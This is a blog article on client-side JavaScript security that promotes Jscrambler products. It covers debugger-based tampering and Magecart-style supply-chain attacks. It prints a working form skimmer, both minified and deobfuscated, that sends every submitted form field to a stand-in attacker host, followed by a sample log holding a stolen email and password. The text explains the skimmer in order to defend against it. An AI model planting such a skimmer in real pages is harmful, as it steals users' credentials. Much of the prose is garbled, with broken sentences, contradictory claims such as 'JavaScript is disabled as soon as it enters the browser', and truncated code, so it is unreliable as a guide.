21.5 C
Saturday, June 15, 2024

The Greatest Ways to Write Secure JavaScript Code

Use our recommended practices to safeguard JavaScript applications running on client sides to increase client-side security.

One useful tool for programming languages is JavaScript. It all comes down to flexibility, which provides you the freedom to use it however you please. JavaScript is the most widely used programming language worldwide and the de facto browser language due to its dynamic nature.

One of JS’s most well-liked and practical features is its instantaneous analysis. This implies that the code is executed by the browser as the content is being downloaded, which is obviously advantageous. But this degree of independence also entails responsibility.

Discover more about JavaScript security threats with our advice and best practices, as well as how to defend yourself against JavaScript security threats Security Policy. Keep the code safe. Only UI code that operates within a browser will be covered. See our tutorial on securing Node.js applications if it piques your interest.

Does this work with JavaScript in the browser?

Consider every step a browser requires. You must first download the page and begin scanning. The browser doesn’t hold off on downloading everything. The page can be downloaded and parsed simultaneously.

JavaScript renders in blocks, which offers significant runtime benefits. As a result, the browser ceases parsing, runs JavaScript first, and then resumes, giving programmers more freedom to use this language and expanding the potential of the code.

JavaScript’s potential hazards

  1. Mistakes and Debugging

Applications that handle sensitive data or carry out crucial tasks are particularly vulnerable to threats from reverse engineering and manipulation of the application source code, as highlighted in application security guides such as this one from OWASP.

This is especially true for JavaScript-based applications, as these risks can be used to launch a variety of attacks, including B. IP theft, automated misuse, hacking, and data exfiltration.

Rules and guidelines like NIST and ISO 27001 both address the dangers of having unprotected source code, and they advise that businesses put strict control mechanisms in place to shield themselves from potential attacks.

Take a look at the following code snippet to demonstrate these risks:

<div id="hack-target"></div>
<button>Set Value</button>

    document.querySelector('button').addEventListener('click', setValue);

    function setValue() {
        var value = '2';
        document.getElementById('hack-target').innerText = value;

In the event log and HTML, this declares a target. The callback is initiated when the button is clicked.

It is possible to set a breakpoint exactly where you set the value when using client-side JavaScript. The precise moment the event is triggered is when this breakpoint is reached.

Var value = ‘2’; specifies a variable value that is subject to change. The debugger halts the program’s execution and lets users edit the page. When debugging, this feature is helpful because the browser doesn’t produce any flags.

The debugger can “break the execution” when it halts the process. even the rendering of pages.

Since debugging is a feature of browser tools, it is available to all users.

View this code on the available Code Pen to see this technique in action. Here’s a screenshot of

We are aware that this feature is excellent for debugging JavaScript, but what effect might it have on your JavaScript code’s security?

An attacker can use this functionality to change JavaScript at runtime, just as anyone can use the debug tool for legal purposes. In addition to changing the DOM and injecting random JavaScript into the console, the attacker can trigger a breakpoint.

Vulnerabilities on the client side can be exploited with this kind of attack. Page. The security of the original code can be jeopardized by the attacker’s ability to alter data, take over the session, and make arbitrary modifications to the JavaScript on the page.

An attacker can alter data and application resources in addition to directly altering the code, dynamically altering memory contents, and changing or replacing the system APIs that the application uses. This might give the attacker a clear chance to undermine the software’s intended purpose and use it for their own financial or personal advantage.

For instance, anyone can open Web Developer Tools, select the Console tab, and type:

document.querySelector('button').addEventListener('click', function() {

Following this This JavaScript alteration becomes active when the event is triggered.

  1. Client-side attacks and data exfiltration

We also need to think about the risks associated with arbitrary JavaScript execution in the browser, in addition to the security threats posed by attackers aiming for the JavaScript source code itself.

Web supply chain attacks, like the Magecart attacks, which inundate the web and take advantage of client-side vulnerabilities to exfiltrate data, have become more frequent. View the following example to get a sense of the situation.

In the event that your CDN and the jQuery script on your web integration site are compromised, they will be modified. Include the following passage:

!function(){document.querySelectorAll("form").forEach(function(a){a.addEventListener("submit",function(a){var b;if(!a.target)return null;b=new FormData(a.target);var d="";for(var e of b.entries())d=d+"&"+e[0]+"="+e[1];return(new Image).src="https://attackers.site.com/?"+d.substring(1),!0})})}();

This will likely go unnoticed by you, and malware will start spreading on your website.

Let’s now attempt a more readable rendition of the same passage:

The reasoning makes sense in the following ways:

! function() {
    document.querySelectorAll("form").forEach(function(a) {
        a.addEventListener("submit", function(a) {
            var b;
            if (!a.target) return null;
            b = new FormData(a.target);
            var d = "";
            for (var e of b.entries()) d = d + "&" + e[0] + "=" + e[1];
            return (new Image).src = "https://attackers.example.com/?" + d.substring(1), !0

for each of the page’s forms.

When triggered, a submit event handler is added.

The query string format is used to gather and rewrite the form data.

which is subsequently added to the image resource’s new source URL.

The same information is sent to a remote server (attackers.site.com) each time a form is submitted, asking for a purported image resource.

After that, the attackers take ownership of it. Data is received by site.com in its access log: - - [13/Mar/2017:15:26:14 +0100] "GET /?email=john.doe@somehost.com&pass=k284D5B178Ho7QA HTTP/1.1" 200 4 "https://www.your-website.com/signin" "Mozilla/5.0 (Macintosh; In      tel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"

As a result, even in the absence of a server breach, user data from your website will quietly end up in the hands of hackers. Because of the hefty fines associated with user data breaches imposed by regulations like GDPR, CCPA, and HIPAA, web supply chain attacks are becoming a serious threat.

How to protect JavaScript on the client side

  1. Safeguarding Code Written in JavaScript

Runtime protection is the best defense against possible attackers for JavaScript code because of the Web’s flexibility and dynamic nature.

The strongest protection for client-side applications is provided by this security layer, which guards JavaScript code while it is being executed to avoid tampering.

Application runtime Self-protection is a type of security technology that can monitor, identify, and stop attacks in real time when it comes to an application or application execution environment.

JavaScript is disabled as soon as it enters the browser. Nothing fully safeguards how it is carried out. Attacks that alter code or cause debugging to occur only during runtime are prevented by runtime protection. This encompasses assaults that alter the application during its offline state.

Additionally, to prevent an attacker from changing JavaScript code, a good runtime security solution obfuscates it. Avoid it or figure out the solution on your own.

Despite developers’ best efforts, these layers of security are meant to guarantee that JavaScript code operates safely on the web. alter it.

An effective runtime security solution will also notify you in the event that an attacker tries to circumvent your code. This enables app developers to react and take appropriate action, like logging off of the user.

Jscrambler Code of Integrity

Runtime security is offered by Jscrambler Code Integrity, which shields apps from runtime threats. It offers active security for JavaScript apps by fusing anti-tampering and anti-debugging methods with additional self-defense capabilities. More specifically:

When debugging tools (like DevTools or Firebug) are used, Anti-Debugging recognizes this and disables the debugger to halt the reverse engineering process.

This is accomplished by code traps and dead objects, which impede the operation of debugging tools and raise the call stack, making it impossible for the user to manage the application’s control flow.

As the name implies, reducing control flow adds cryptic predicates and unnecessary code clones to the program flow.

There is no longer any naturally occurring conditional construction to aid in reading the code.

The manipulation recognizes modifications to the code and responds appropriately. For instance, Jscrambler’s self-defense feature will detect changes to protected functions, such as adding or removing semicolons, and the code will break as a result.

Use both strategies. An attacker cannot alter your application when you use code obfuscation.

With our free trial, you can begin safeguarding your app’s users.

  1. Security on the client side

In order to expedite development, the JavaScript development process frequently makes use of open source components. Numerous third-party scripts (chatbots, analytics, ads, etc.) are typically run at runtime on websites.

The attack surface for client-side attacks is increased when these code snippets from outside sources are used.

Because client-side security is not a focus of traditional security systems (server-side security, network security). Businesses require complete visibility and control over the client side of their website in order to counter these growing threats.

Integrity of Jscrambler Webpage

Comprehensive client-side defense against client-side threats like data exfiltration and Magecart web skimmers is offered by Jscrambler Webpage Integrity. More specifically:

full real-time monitoring of any third-party script’s actions.

Knowing when more code is loaded or inserted, when data is sent, when data is accessed from forms, cookies, and local storage, when the DOM is modified, and so on are all examples of this.

An exhaustive list of all these scripts on websites, along with the network requests they send out.

A strong rules engine that enables both automatic blocking of malicious activity and flexible, granular control over each script’s behavior, including: B. manipulating other code, granting the website access to cookies or local storage, contacting specific domains, and accessing the “password” field of a registration form.

Get a free website inventory report to begin using Jscrambler Webpage Integrity. This report gives you an overview of all third-party scripts that are active on your website, along with a breakdown of their behavior that includes important security details.

In summary

Due to the fact that JavaScript is a dynamic language for the Web and is available on the majority of websites (including those that handle extremely sensitive user data). Because of its flexibility, the system presents more security risks.

It is a double-edged sword, so you must use caution when handling it. accountability. It’s important to think about runtime security when writing JavaScript code since malicious scripts from third parties can be used by attackers to target exposed source code and insert malicious code.

You’ll be one step ahead of adversaries and headed toward compliance if you can effectively handle these two aspects.

Related Articles


Please enter your comment!
Please enter your name here

Latest Articles